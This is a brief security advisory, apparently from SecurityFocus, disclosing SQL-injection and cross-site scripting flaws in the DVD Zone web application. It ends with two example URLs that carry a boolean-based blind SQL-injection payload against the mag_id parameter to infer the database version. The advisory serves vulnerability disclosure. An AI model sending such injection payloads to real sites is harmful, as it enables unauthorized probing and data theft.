source: http://www.securityfocus.com/bid/36487/info

DVD Zone is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/view_mag.php?mag_id=9+and+substring(@@version,1,1)=5 True
http://www.example.com/view_mag.php?mag_id=9+and+substring(@@version,1,1)=4 False